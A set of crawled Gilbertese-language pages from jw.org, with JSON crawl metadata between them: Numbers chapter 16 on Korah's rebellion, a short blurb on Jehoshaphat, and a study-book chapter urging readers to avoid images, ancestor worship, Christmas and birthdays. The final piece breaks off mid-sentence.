natini Bereeta, ake tibun Reuben.+ 2 A teirake ni kaitaraa Mote, ao raoia mwaane aika tibun Iteraera aika 250 aika kakannato, aika mataniwi n te botaki n aomata, ake mwaane ake a rineaki mai buakon te botaki n aomata. 3 Mangaia are a ikotaki ni kaitaraa+ Mote ma Aaron ao a taku nakoia: \"E a bati n tau aromi anne nakoira, bwa a boni bane n itiaki* te botaki n aomata,+ ao e mena Iehova i buakoia.+ E aera ngkanne bwa kam riai ni karietataingkami i aon ana botaki n aomata Iehova?\" 4 Ngke e ongo aei Mote ao e a katorobubua naba ni bobaraaki nako aontano. 5 Ao e taku nakoni Kora ma taani boutokaia ni kabane: \"N te moaningabong ao e na kaotia Iehova bwa antai ana aomata+ ao antai ae itiaki ao antai ae riai ni kaania,+ ao ane e rineia+ ao e na kaania. 6 Karaoa aei: Anai baan ake nneni mwaakaron te ai,+ ngkoe ae Kora ma taani boutokaiko ni kabane,+ 7 ao kaaki te ai iai ao katokai baika boiarara i aoia i matan Iehova ningabong, ao te mwaane are e rineia Iehova+ boni ngaia ae itiaki. Ngkami aika tibun Rewi,+ kam a rangi n riao!\" 8 E taku ngkanne Mote nakoni Kora: \"Ongora taiaoka, ngkami aika tibun Rewi. 9 N ami iango, te bwai ae uarereke iroumi kaokoroami iroun Atuan Iteraera mai buakon te botaki n aomata aika tibun Iteraera,+ ao kariaiakami ni kaania bwa kam na karaoa te beku ibukin Iehova n te umwanrianna ae tabu,* ao n tei i matan te botaki n aomata ni beku ibukia,+ 10 ao kairakim ma tarim ni kabane ake tibun Rewi bwa kam na kaania? Ao ngkai kam kataia naba n anaa te nakoa n ibonga?*+ 11 Ibukin aei, kam boni kaitaraa Iehova, ngkoe ma taani boutokaiko ni kabane ake a ikotaki. Ni kaineti ngkanne ma Aaron, kaanga antai ngaia ngkai kam a ngurengure nakoina?\"+ 12 Imwina riki ao e a kanaanako Mote nakon Ratan ao Abiram+ ake natin Eriaba, ma a taku naakai: \"Ti aki nakoati! 13 Te bwai ae uarereke iroum kairakira ao kaotinakoara man te aba ae raanga iai rannimamman te man ma aia karewe manibeeru,* bwa ko na kamateira n te rereua?+ Ao ngkai, ko a manga kani karikiko bwa te tia tautaeka i aora? 14 Ko tuai naba mani kairira nakon te aba teuana ae raanga iai rannimamman te man ma aia karewe manibeeru,+ ke n anganira te tawaana ke te nne ni kureebe ae ti na bwaibwai iai. Ko na autii kanoani mataia mwaane akekei? Ti aki nakoati!\" 15 Mangaia are e a rangi n un Mote ao e taku nakon Iehova: \"Tai rairaki n tarai aia karea ae te amwarake. I tuai man anaa aia taongki temanna, ke tao ni kaikoaka temanna mai buakoia.\"+ 16 E taku ngkanne Mote nakoni Kora: \"Kaotiko ma taani boutokaiko ni kabane i matan Iehova ningabong, ngkoe ma ngaiia ao Aaron. 17 E riai temanna ma temanna n anaa ana baan are nneni mwaakaron te ai, ao ni katokai i aona baika boiarara, ao e na anga ana baan temanna ma temanna i matan Iehova, bon 250 mwaitin taiani baan, ao kaka teuana naba ami baan, ngkoe ma Aaron.\" 18 Mangaia are a anai aia baan ake nneni mwaakaron te ai n tatabemania nako, ao a kaaki te ai ma baika boiarara i aoia, ao a tei i rarikini mataroan te umwa ni botaki n ikotaki ma Mote ao Aaron. 19 Ngke e a tia Kora n ikotiia taani boutokaia+ ni kaaitaraia nakekei i rarikini mataroan te umwa ni botaki, ao e a kaoti mimitongin Iehova i aon te botaki n aomata.+ 20 E a tuanga ngkai Mote ma Aaron Iehova ni kangai: 21 \"Kaokoroingkami mai buakon te koraki aei bwa I aonga ni kamaunaia n te tai ae waekoa.\"+ 22 Ao a katorobubua ni bobaraaki i aontano ao a taku: \"Te Atua, ae te Atua ae anga te maiu* nakoia aomata ni kabane,*+ e na kairiko ana bure te mwaane temanna bwa ko nang un naba iai nakon te botaki n aomata aei?\"+ 23 E taku ngkanne Iehova nakoni Mote: 24 \"Taetae nakon te botaki n aomata ao tuangia ni kangai, 'Kararoaingkami mai rarikin nako aia umwanrianna Kora, Ratan, ao Abiram!'\"+ 25 Ao e teirake Mote ao e nakon Ratan ao Abiram, ao a iria aia unimwaane+ tibun Iteraera. 26 Ao e tuanga te botaki n aomata ni kangai: \"Kararoaingkami taiaoka man aia umwanrianna nako mwaane aika buakaka aikai, ao tai ringa te bwai teuana ae aia bwai, bwa kam aonga n aki kamaunaaki n aia bure nako.\" 27 A kararoaia naba ngkekei man iteran nako aia umwanrianna Kora, Ratan, ao Abiram, ao a otinako Ratan ao Abiram ma n tei ni mataroan aia umwanrianna, n ikotaki ma buuia, natiia, ao aia koraki n ataei aika uarereke. 28 E taku ngkanne Mote: \"Kam na ataia n aei bwa e kanakoai Iehova bwa N na karaoi baikai ni kabane, ao tiaki n oin nanou: 29 Ngkana a mate naakai n aroni mateia aomata nako, ao ngkana titeboo tuuaaia ma aomata ni kabane, e bon aki ngkanne kanakoai Iehova.+ 30 Ma ngkana e karaoa te bwai ae rangi ni kamimi Iehova nakoia, ao e uki* aontano ma ni kabwautiia ma aia bwai nako, ao a ribunako nakon te Ruanimate* ngke a maiu, kam na bon ataia iai bwa a aki karinea Iehova mwaane aikai.\" 31 Ngke e tia naba ngkekei n taekin taeka aikai ni kabane, ao akea bwa e a tabwena aontano are i aaia.+ 32 Ao e uki* aontano ao e kabwautiia nakekei ma kaaini bataia ni kabane, ma aomata ni kabane ake raoni Kora, ao aia bwai ni kabane.+ 33 Mangaia are a a bane n ribunako nakon te Ruanimate* ma aia koraki ni kabane ngke a maiu, ao e rabunia aontano, n te aro are a a mauna mai buakon te botaki n aomata arei.+ 34 A bane ni birinako tibun Iteraera ake a mena i rarikia nakekei ngke a takarua, bwa a kangai: \"Ti maaku bwa e kaawa ni kabwautira aontano!\" 35 Ao e roko te ai mairoun Iehova+ ao e kabuekiia mwaane ake 250 ake a anga baika boiarara.+ 36 E a taku ngkai Iehova nakoni Mote: 37 \"Tuanga Ereata are natin Aaron are te ibonga bwa e na anai man te ai baan ake nneni mwaakaron te ai+ bwa boni baika tabu. Tuangnga naba bwa e na kamaenakoa te ai ni kararoaa teutana. 38 A riai ni karaoaki bwa biiti aika mmani aia baan mwaane aika bua maiuia aikai n aia bure, ao a na kanimwaki n te baonikarea ni kabutaa,+ ibukina bwa a anga baikai i matan Iehova ao a a riki bwa baika tabu. A riai n riki bwa te kanikina nakoia tibun Iteraera.\"+ 39 Mangaia are e anai baan ake nneni mwaakaron te ai ake buraati Ereata are te ibonga, ake a anga naake a kabuekaki, ao a ororei bwa a na kanimwi n te baonikarea ni kabutaa, 40 n aron are e tuangnga Iehova rinanoni Mote. Bon te bwai ni kauring aei nakoia tibun Iteraera bwa akea te aomata ae akea kariaiakana* ae tiaki kanoan Aaron, ae e riai ni keerake ni kabueki baika boiarara i matan Iehova,+ bwa e aonga n akea ae e na riki n aroni Kora ma taani boutokaia.+ 41 Ni bon te bong naba are imwina ao e a ngurengure te botaki n aomata aika tibun Iteraera nakoni Mote ma Aaron+ ni kangai: \"Kam a tia ngkami akana uoman ni kamateia ana aomata Iehova.\" 42 Ngke e a tia n ikotaki te botaki n aomata ni kaitaraa Mote ma Aaron, ao a a rairaki nakon te umwa ni botaki, ao akea bwa e a rabunaki n te nang, ao e a kaoti mimitongin Iehova.+ 43 A nako matan te umwa ni botaki Mote ma Aaron,+ 44 ao e taku Iehova nakoni Mote: 45 \"Ngkami naakai, kararoaingkami mai buakon te botaki n aomata aei, bwa I aonga ni kamaunaia n te tai ae waekoa.\"+ Ao a katorobubua ni bobaraaki nako aontano.+ 46 Ao e taku Mote nakon Aaron: \"Anaa te baan are nneni mwaakaron te ai ao kaaki iai te ai are man te baonikarea,+ ao katokai baika boiarara i aona ao waekoa kawara te botaki n aomata anne, ao karaoa karekeani kabwaraan aia bure,+ ibukina bwa e a roko unin Iehova. E a moanaki te rekenikai ae kamamate!\" 47 E aki tabwara Aaron ma e a anaia naba n aron are e taku Mote, ao e biri nako buakon te botaki n aomata arei, ao akea bwa e a roko te rekenikai ae kamamate i aoia aomata. Mangaia are e kaaki baika boiarara i aon te baan are nneni mwaakaron te ai, ao e a moana karaoani karekeani kabwaraan aia bure aomata. 48 E teimatoa n tei i marenaia aika mate ao aika maiu, ao n tokina e a toki te rekenikai ae kamamate. 49 Botani mwaitiia te koraki ake a mate man te rekenikai ae kamamate bon 14,700, i rarikia ake a mate ibukini Kora. 50 Ngke e a oki Aaron nakoni Mote i rarikini mataroan te umwa ni botaki, ao e a toki te rekenikai ae kamamate.\nTaiani Kabwarabwara Mai Nano\n^ Ke, \"tabu.\"\n^ Ebera, \"iriko ni kabane.\"\n^ Ebera, \"kaurea wina.\"\n^ Ebera, \"kaurea wina.\"\n^ Ebera, \"akea te ianena.\"","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/warekaia-iteraera\/16\/","date":"2018-02-24T01:20:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814872.58\/warc\/CC-MAIN-20180223233832-20180224013832-00477.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1523,"character_repetition_ratio":0.075,"word_repetition_ratio":0.012,"special_characters_ratio":0.242,"stopwords_ratio":0.411,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"Ngkoe ae Iehova, . . . I Onimakiniko\"\nNora aron Etekia n tokanikai i aoni kangaanga nako ni karaoan ana babaire ae boto i aon te onimaki ao te kakaonimaki ni koaua, are e a kateaki iai te katoto ibukia ana botannaomata ni kabane ao te koraki ni kabane aika beku iroun Iehova ni boong aikai.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/taamnei\/e-onimakina-te-atua-te-uea-ae-etekia\/","date":"2018-02-19T21:00:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812788.42\/warc\/CC-MAIN-20180219191343-20180219211343-00450.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":53,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.491,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tera ana reirei te Baibara ibukini kamanenaani katotongani bwaai?\nTera aia iango Kristian ni kaineti ma boongi n toa?\nKo na kangaa ni kabwarabwaraa am koaua nakoia aomata n aki kaunia ke ni kamaamaeia?\n1, 2. Tera are ko riai n titirakiniko iai ngkana ko a kitana te Aro ae kewe, ao bukin tera ngkai ko iangoia bwa e kakawaki aei?\nI ANGOIA bwa aongkoa ko a kunea bwa ngaia e kabarekaaki te kaembwa are ko maeka iai. Iai ae karabaa ni kakarenakoa te boitin n ami tabo, ao ibukin anne e a rangi ni karuanikai te maiu iai. Tera ae ko na karaoia? Akea te nanououa bwa ko na boni kitana te tabo anne ngkana ko konaa. Ma ngkana ko a tia ni mwaing, ko a manga kaaitara ngkanne ma te titiraki ae kakaiaki ae kangai, 'I a tia n rotaki n te boitin?'\n2 Bon tii te aekakina anne ma te kangaanga ni kaineti ma Aaro aika kewe. E reirei te Baibara bwa te aeka n taromauri anne e a tia ni kabarekaaki n reirei ma mwakuri aika aki itiaki. (2 I-Korinto 6:17) Anne bukina ae kakawaki iai bwa ko na otinako mai \"Baburon are Kakannato,\" ae taekan te botaki n Aro ae kewe ae katobibia te aonnaba. (Te Kaotioti 18:2, 4) Ko a tia ni kitanna? Ngkana ko a tia, ko riai ni kamoamoaaki iai. Ma e bati riki ae tangiraki nakon ae tii kararoaan te Aro ae kewe ke butiaainam mai iai. Imwina ko na manga titirakiniko ni kangai, 'Iai iteran nako te taromauri ae kewe ae I bon irekereke naba iai?' Ti na rinanoni katoto tabeua.\nKABONGAANANI KATOTONGANI BWAAI N TE TAROMAURI, AO TAROMAURIAIA BAKATIBU\n3. (a) Tera ae taekinaki n te Baibara ibukini kabonganaani katotongani bwaai n te taromauri, ao e aera ngkai e kangaanga irakin ana iango te Atua i aon aei irouia tabemwaang? (b) Tera ae ko riai ni karaoia ma am bwai nako aika reitaki ma te taromauri ae kewe?\n3 Tabeman a taneiai ni kawakina katotongan te bwai teuana ae tabu irouia, ke te nne n taromauri ni mwengaia. Iai iroum baikai? Ngkana iai ao ko na bae n iangoia bwa e na kamimi ke e kairua, ngkana ko a bon tataro naba nakon te Atua ao akea bwaai n ibuobuoki aika kona n noraki. Tao ko bae naba n rangi n tangiri am bwai aikai. Ma bon te Atua ae riai n tua aron taromauriana, ao e reirei te Baibara bwa e aki tangiria bwa ti na kabonganai katotongani bwaai. (Wareka Te Otinako 20:4, 5; Taian Areru 115:4-8; Itaia 42:8; 1 Ioane 5:21) Mangaia are ko kona n tei ibukin te taromauri ae koaua ngkana ko kamaunai matan am bwai nako aika reitaki ma te taromauri ae kewe. Ko na iangoi baikanne bwa bwaai aika \"riribaaki\" n aron iangoaia iroun Iehova.\n4. (a) Ti kangaa n ataia bwa e matebuaka taromauriaia bakatibu? (b) E aera Iehova ngkai e tabunimateia ana aomata mani karaoan aeka n tabunea nako?\n4 E rangi ni kakaraoaki naba taromauriaia bakatibu n Aaro aika kewe aika bati. Imwain reiakinan te Baibara irouia tabemwaang, ao a kakoauaa bwa a boni maiu maate bwa taamnei n te tabo teuana, ao a kona ni buokiia ke ni kaikoakiia aika maiu. Tao ko tataneiai ni kakorakorako n totokoa kaunaia am bakatibu ake a a tia ni mate. Ma n aron ae ko reiakinna ni Mwakoro 6 n te boki aei, a aki maiu maate n te tabo teuana. Mangaia are a matebuaka kakorakora nako ibukin te maroro ma ngaiia. Rongorongo nako ake a taraa n roko mairoun te rao ae tangiraki are e a tia ni mate, a bon roko mairouia taimonio. Mangaia are e tabunimateia tibun Iteraera Iehova man aroia ni kataia n taetae ni kawai ma maate ke ni karaoi aeka n tabunea nako.\n5. Tera ae ko na karaoia ngkana ko kakabonganai katotongani bwaai n am taromauri ngkoa, ke ko tataromauria am bakatibu?\n5 Tera ae ko na karaoia ngkana ko kakabonganai katotongani bwaai n am taromauri ngkoa, ke ko taromauria am bakatibu n te aro ae ko bubutii buokam nakoia n te tabunea? Wareka te rongorongo n te Baibara are e kaotaki iai aron te Atua n iangoi baikai, ao iaiangoia. Tataro nakon Iehova ni katoa bong ni kaota nanom nakoina ni kan tei ibukin te taromauri ae koaua, ao butiia bwa e na buokiko n iangoi bwaai n aron iangoaia irouna.\nA AKI BUKAMARUA TE KIRITIMATI KRISTIAN RIMOA\n6, 7. (a) E karaoaki te Kiritimati bwa aongkoa kauringan tera, ao a kakaraoa anne taan rimwin Iesu n te moan tienture? (b) A irekereke ma tera bukamaruan rekenibong, n aia tai taan rimwin Iesu rimoa?\n6 E kona ni kabarekaaki ana taromauri te aomata ni boongi n toa ao boong ni kauring ake a rangi n ataaki. N te katoto, iangoa taekan te Kiritimati. E karaoaki te Kiritimati bwa aongkoa kauringani bungiakin Iesu Kristo, ao a kuri ni bane ni bukamarua aei Aaro ake a taku bwa Kristian ngaiia. Ma bon akea kakoauaan ae a bukamarua te bongi n toa aei taan rimwini Kristo n te moan tienture. E taku te boki ae te Sacred Origins of Profound Things: \"I nanon uabubua tabun te ririki imwini bungiakini Kristo, ao bon akea naba ae ataa te tai are e bungiaki iai, ao e kuri n akea naba aika a tabe iai.\"\n7 E ngae naba ngkana a ataa ana tai ni bungiaki Iesu taan rimwina, ma a bon aki kona ni bukamaruia. Bukin tera? Ibukina bwa e taekinia Kristian rimoa te boki ae te World Book Encyclopedia, ni kangai: \"A iangoa bukamaruan ana rekenibong temanna bwa te katei ni beekan.\" Rekenibong ake a taekinaki n te Baibara ake tii uoua, a kaineti nakoia uoman taani kairiri ake a aki taromauria Iehova. (Karikani Bwaai 40:20; Mareko 6:21) Bukamaruan te rekenibong bon aia mwakuri ni karinerine beekan nakoia antiia. N te katoto, a bubukamarua ana rekenibong atuaia te aine ae Nei Diana kaain Rom rimoa ni Mei 24. N te bong are imwina ao a a manga karaoa ana rekenibong atuaia are taai, ae Aboro arana. Mai ikai are e a ota iai bwa bukamaruan taian rekenibong bon te botaki ni beekan ao tiaki aia botaki Kristian.\n8. Kabwarabwaraa irekerekeni bukamaruan te rekenibong ma katei aika boto i aoni maakakia taimonio.\n8 Iai riki bukina are a aki bukamarua ana rekenibong iai Iesu, Kristian n te moan tienture. A bae n ataia taan rimwina bwa a reitaki bukamaruan rekenibong ma katei aika boto i aoni maakakia anti. N te katoto, a bati kaaini Kuriiti ao Rom n taai ake ngkoa ake a kakoauaa bwa e iriraki bungiakia aomata nako iroun te anti, are e a riki iai bwa antin te aomata anne ni kamanoa i nanon ana tai ni maiu. E taku te boki ae te Lore of Birthdays: \"Iai ana itoman ae okoro te anti aei ma te atua temanna are bon ana rekenibong naba te bong are e bungiaki iai te aomata.\" E na bon aki kukurei Iehova ni katei aika kairekerekea Iesu ma maakakia taimonio. (Itaia 65:11, 12) Mangaia are bukin tera ngkai a bukamarua te Kiritimati aomata aika bati?\nMOAN RIKIN TE KIRITIMATI\n9. E a kangaa naba n rineaki Ritembwa 25 bwa te bong ibukini bukamaruan ana bong ni bung Iesu?\n9 E a tibwa waaki bukamaruan ana rekenibong Iesu n Ritembwa 25, bubua ma bubua te ririki imwini maiun Iesu i aon te aba. Ma tiaki anne ana bong ni bung Iesu, bwa e bungiaki n Okitobwa. * Ma e aera ngkai e rineaki Ritembwa 25? Tabeman aomata rimwi riki ake a taku bwa aongkoa Kristian ngaiia, \"a kaangaraoa te bongi n namwakaina aei ma aia bukamaru beekan ake kaain Rom ibukin 'ana rekenibong [antia are] taai are a taku bwa akea ae kona n tokanikai i aona.'\" (The New Encyclopædia Britannica) Ngkana e a taraa ni mamaara korakoran taai n tain te kamwaitoro, ao a kakaraoa aia bukamaru beekan ibukin tangiran te kabuebue ao te oota bwa aongkoa e na oki iai taai ni mwanangana man te tabo ae rangi n raroa. E iangoaki Ritembwa 25 bwa te bong are e a moana iai okina taai. Ibukina bwa a iangoa rairakia beekan mataniwin Aaro, a karina te toa aei i buakon aia waaki ao a karaoia bwa aongkoa aia toa Kristian. *\n10. Bukin tera bwa iai tabeman aomata ake a aki bukamarua te Kiritimati n taai aika nako?\n10 E a bongata ataakin ae e riki te Kiritimati man aia botaki beekan. E a tia naba ni katabuakaki bukamaruan te Kiritimati i Engiran ao te aono n Amerika ae tautaekanaki iroun Engiran i nanon te ka-17 n tienture, ibukina bwa akea taekana n te Baibara. Ngkana iai ae tiku ni mwengana bwa e aki mwakuri n tain te bong ni Kiritimati, ao e riai ni katuuaaeaki n te mwane. Ma n te tai ae waekoa, ao e a manga tanoata naba okin te katei rimoa ni kaineti ma te Kiritimati ao a a manga raonaki ni katei aika boou. E a manga riki naba te Kiritimati bwa te bongi n toa ae kakawaki, ao e teimatoa ni karokoa ngkai waakinana n aaba aika bati. A aki bukamarua te Kiritimati te koraki ake a kani kakukureia te Atua, ibukina bwa e reitaki ma Aaro aika kewe, ao ai aron naba boongi n toa ke boong ni kauring tabeua ake a reke man te taromauri ni beekan. *\nTI RIAI N TABE MA MOAN RIKINI BOONGI N TOA?\n11. Bukin tera ngkai a bubukamarui boongi n toa tabeman aomata, ma tera te bwai ae rangi ni kakawaki ibukira?\n11 A kariaia tabeman bwa boongi n toa n aron te Kiritimati a riki mairouia beekan, ma a teimatoa n iangoia bwa e aki bure bukamaruaia. A taku bwa angia aomata a aki kaatuua aia iango i aon te taromauri ae kewe ngkana a bukamarui boongi n toa. Botaki aikai a kakarekei naba aia tai kaain te utu ni kaai n iraorao ni bukamaru. E boraoi aei ma am kantaninga? Ngkana e boraoi, nanona ngkanne bwa tao tangiraia kaain am utu ma tiaki tangiran te Aro ae kewe, ae tukiko bwa ko na aki tei ibukin te taromauri ae koaua. Karaua nanom bwa Iehova are e moani karika te utu, e tangiriko naba bwa ko na karekea te reitaki ae raoiroi ma am koraki. (I-Ebeto 3:14, 15) Ma ko kona ni karikirakei reitaki akanne n aanga ake e kukurei iai te Atua. E korea te bwai ae rangi ni kakawaki ibukira te abotoro Bauro ngke e kangai: \"Teimatoa n tuoa bwa tera ae e kukurei iai te Uea\"\n12. Kabwarabwaraa bwa e aera ngkai ti riai ni kararoai katei ma bukamaru ake a riki man taabo aika baarekareka.\n12 Tao ko na iangoia bwa e aki bati ni kakawaki moan rikin boongi n toa, ni kaineti ma bukamaruaia ni boong aikai. Ma ti riai n tabe ma moan rikin boongi n toa aikai ke ti na aki? Ti riai! E kangai kabwarabwaraana: Iangoia bwa aongkoa ko nora mwakoron te kanre ae mena i aontano irarikin te kawai. Ko na anaia ni kanrenna? E aki raoiroi! E baarekareka te kanre anne. A taraa naba ni karewerewe boong ni kauring ao boongi n toa tabeua n aron te kanre anne, ma a riki man taabo aika baarekareka. Ngkana ti na tei ibukin te taromauri ae koaua, ti riai ni karekei ara iango n aron te burabeti ae Itaia are e tuangia taan taromauri ni koaua ni kangai: \"Tai ringa te bwai ae kamwara!\"\nTE ATAIBWAI N TE REITAKI MA TABEMWAANG\n13. Baikara kangaanga ake a kona n rio ngkana ko aki bukamarui boongi n toa?\n13 A kona n rio kangaanga ngkana ko rineia bwa ko na aki bukamarui boongi n toa. N te katoto, a na mimi raom ni mwakuri bwa bukin tera ngkai ko aki irii botakin te bongi n toa n te tabo are ko mwakuri iai. Tera am iango ngkana ko a anganaki naba te bwaintangira ibukin te Kiritimati? E kairua bwa ko na butimwaeia? Tera arom ngkana e okoro am koaua ma ana koaua buum? Ko na kangaa n taraia bwa a na aki iangoia natim bwa e tauaki te bwai ae raoiroi mairouia, ibukina bwa a aki iri bukamaruani boongi n toa?\n14, 15. Tao tera ae ko kona ni karaoia ngkana ko anganaki te kamauri ae kaineti ma te bongi n toa, ke iai temanna ae kani bwaintangiraiko?\n14 E kainnanoaki te ataibwai n te aro ae riai ibukin bairean aroni kangaanga n tatabeua nako. Ngkana ko anganaki te kamauri ae kaineti ma te bongi n toa iroun te aomata ae ko aki rangi ni kinaa, tao ko kona n tii karabwaa te aomata anne. Ma tao ngkana e kamauriko te aomata ae ko aki toki ni bobo ma ngaia ke raom ni mwakuri, ao ko kona n reita nako riki am taeka, ngkana e angaraoi. N aki ongeia bwa antai ae kamauriko, katangiraoa am kakarabakau n taai nako. E reireinira te Baibara ni kangai: \"A na raonaki n taai nako ami taeka n te atataiaomata ao n taoronaki, bwa kam aonga n ataa aromi ni kaeka ae riai nakoia aomata n tatabemania nako.\" (I-Korote 4:6) Taratara raoi bwa ko riai n teimatoa ni kaotiota te karinerine nakoia aomata. Kabwarabwaraa raoi am koaua ma te akoi. Kamataataa raoi are ko aki ribaa te anga bwaintangira ao te botaki, ma ko kukurei ni karaoi n taai aika kaokoro ma boongi n toa akanne.\n15 Ma tera arom ngkana iai temanna ae kani bwaintangiraiko? E na kaineti aei ma te bwai ae riki. Tao e kona ni kangai te tia anga: \"I ataia bwa ko aki bubukamarua te bongi n toa aei. Ma I boni kan anganiko naba te baei.\" Tao ko iangoia bwa butimwaean te bwaintangira ni kaineti ma waaki aikai, tiaki titeboo ma te reitaki ma te bongi n toa. Ngkana e aki ataa raoi am koaua te tia anga bwai, ko kona ni kaotia are ko aki irira bukamaruan te bongi n toa arei. E na ibuobuoki aei ni katereterea bwa bukin tera ngkai ko butimwaea te bwaintangira, ma n aki anga bwaintangira n te tai ni bukamaru anne. Ma n te itera are teuana, e raoiroi riki bwa ti na aki butimwaea te bwaintangira ngkana ti na taraaki iai bwa ti a aki ira nanon ara onimaki ke tao ti a kariaia ibukin te kanibwaibwai.\nTERA AROM MA KAAIN AM UTU?\n16. Ko na kangaa ni bwaina te akoi n am kakarabakau ma aomata ni kaineti ma boongi n toa?\n16 Tera arom ngkana e kaokoro am Aro ma kaain am utu? Bwaina naba te akoi n am kakarabakau. Akea uaan te kauntaeka ibukini katei ke bukamaru nako aika a kani karaoia am koraki. Tai un ma karinea aia waaki, n aron ae ko tangiria bwa e na karineaki naba am waaki. (Wareka Mataio 7:12.) Kararoai naba waaki ake a irekereke ma bukamaruan te bongi n toa anne. Ma iango raoi, ao karaoa ae ko konaa, ni kaineti ma bwaai ake a aki reitaki ma bukamaruan te bongi n toa anne. Uringnga bwa ko riai ni karaoa te bwai ae e na kukurei iai mataniwin nanom n taai nako.\n17. Ko na kangaa ni buokiia natim bwa a na aki iangoia bwa e tauaki te bwai ae raoiroi mairouia, ngkana a noriia aomata tabemwaang ni bukamarui boongi n toa?\n17 Tera ae ko na karaoia bwa a aonga n aki iangoia natim bwa e tauaki te bwai ae raoiroi mairouia, ngkana a aki iri ni bukamaruan boongi n toa aika aki boraoi ma te Baibara? E boboto anne ma ae ko kakaraoia ni boong tabeua n te ririki. Tabeman kaaro a bairei taai n anga bwaintangira nakoia natiia i nanon te ririki. Teuana te bwaintangira ae moanibaan te raoiroi ae ko kona n angania natim, boni kabanean riki am tai ma ngaiia ao kaotiotan am tangira nakoia.\nWAAKINA TE TAROMAURI AE KOAUA\n18. A kangaa kaeani bobotaki ni Kristian ni buokiko n tei ibukin te taromauri ae koaua?\n18 Ibukini kakukureian te Atua, ko riai n rawa nakon te taromauri ae kewe ma n tei ibukin te taromauri ae koaua. Tera ae irekereke ma aei? E taku te Baibara: \"Ti na iaiangoira i marenara bwa ti aonga ni kaungaira nakon te tangira ma mwakuri aika raraoi, ao ti na aki kaaki arora ni bobotaki, n aron ae a taneiai iai tabemwaang, ma ti na kaungaira i marenara, ni kakorakoraira riki iai ngkai ti a nora te bong arei bwa e a kaan.\" (Ebera 10:24, 25) Bobotaki ni Kristian boni botaki ni kakukurei ake ko na taromauria te Atua iai n te aro ae boraoi ma nanona. (Taian Areru 22:22; 122:1) Iai te 'ikaungaunga i marenaia' Kristian aika kakaonimaki ni bobotaki akanne.\n19. E aera ngkai e kakawaki tataekinan nako baike ko a tia n reiakin n te Baibara?\n19 Te anga teuana ae ko kona n tei iai ibukin te taromauri ae koaua, boni man tataekinan nako baike ko a tia n reiakin n te Baibara irouia Ana Tia Kakoaua Iehova. A bati aomata aika \"ikenrawa ma ni ngirangira\" ibukin te buakaka ae taonaanako ngkai te aonnaba. (Etekiera 9:4) Tao ko kinaia tabeman aomata ake a rotaki buaka n anne. E aera ko aki maroroakina taekan am kantaninga ma ngaiia, ibukin te tai ae e na roko ae boto i aon te Baibara? Ngkai ko a tabe n reitaki ma Kristian ni koaua ao n tataekina rongorongon te koaua ae kamimi man te Baibara are ko a tia n reiakinna, ko na kunea ngkanne bwa e nang tabe ni maunanako tangirani katein te taromauri ae kewe are e tiku i nanom. Akea te nanououa bwa ko na bon rangi ni kukurei ngkana ko tei ibukin te taromauri ae koaua, ao e na bati naba kakabwaiaam iai.\n^ bar. 9 Iai naba irekereken te bongi n toa ae te Saturnalia ma rinean Ritembwa 25. E bubukamaruaki te toa aei n Ritembwa 17-24, are e kakarineaki iai atuan te ununiki i Rom. E waakinaki te amwamwarake, te kakukurei, ao ai te anga bwaintangira n tain te toa ae te Saturnalia.\n^ bar. 10 Ibukini maroroakinan aia iango Kristian ni koaua ni kaineti ma boongi n toa ake a rangi n ataaki, nora te Bukinibaa ae \"Ti Riai ni Bukamarui Boongi n Toa ke Boongi ni Kauring?\"","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/ana-reirei-te-baibara\/taromauri-ae-koaua-reirei-aika-kewe\/","date":"2018-03-23T09:42:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648205.76\/warc\/CC-MAIN-20180323083246-20180323103246-00102.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2992,"character_repetition_ratio":0.071,"word_repetition_ratio":0.011,"special_characters_ratio":0.224,"stopwords_ratio":0.403,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KO A katauraoi ibukin te mwakuri ni minita ni moaningabongin am bong ni motirawa n am mwakuri ni kareketianti. Ko baenikai moa bwa ko namakina te kua teutana. E taraa n rangi ni katikitiki te motirawa n te moaningabong anne! Ma ko a tataroakinna ao ko a iangoa mwanangam. Ko toa ma te tari te aine ae kakaonimaki ae e a kara, ao e ringaki nanom n nanomwaakana ma akoina. Ngke ko a tibwaa rongorongon te koaua man te auti teuana nakon teuana, ko ataia ae iai taari mwaane ao aine ni katobibia te aonnaba aika tibwaa naba te rongorongo anne, ao a kabongana te boki naba anne ao a kakabwaiaaki naba man te kataneiai ae tii te arona. Ko namakina te korakora ngke ko a okira mwengam. Ko rangi ni kukurei ngke ko aki tiku ni mwengam!\nNi boong aikai, te mwakuri ni minita ni Kristian bon te mwakuri ae kakawaki ibukin ana Tautaeka n Uea te Atua. E a kaman taekinna Iesu bwa e na kabatiaaki karaoan te mwakuri n uarongorongo ni kabaneani boong. (Mat. 24:14) E kangaa ni kakoroaki bukin ana taetae ni burabeti? N te mwakoro aei ao ti na nenera taekaia aomata, taian anga, ao bwaai ni mwakuri aika rangi ni kakawaki n te mwakuri ni minita ni Kristian, ae e buokiia mirion ma mirion aomata ni katobibia te aonnaba bwa a na onimakina ana Tautaeka n Uea te Atua.\nN TE MWAKORO AEI\nMwakoro 6\nE aera ngkai e aki nanokokoraki Iesu bwa a na iai te 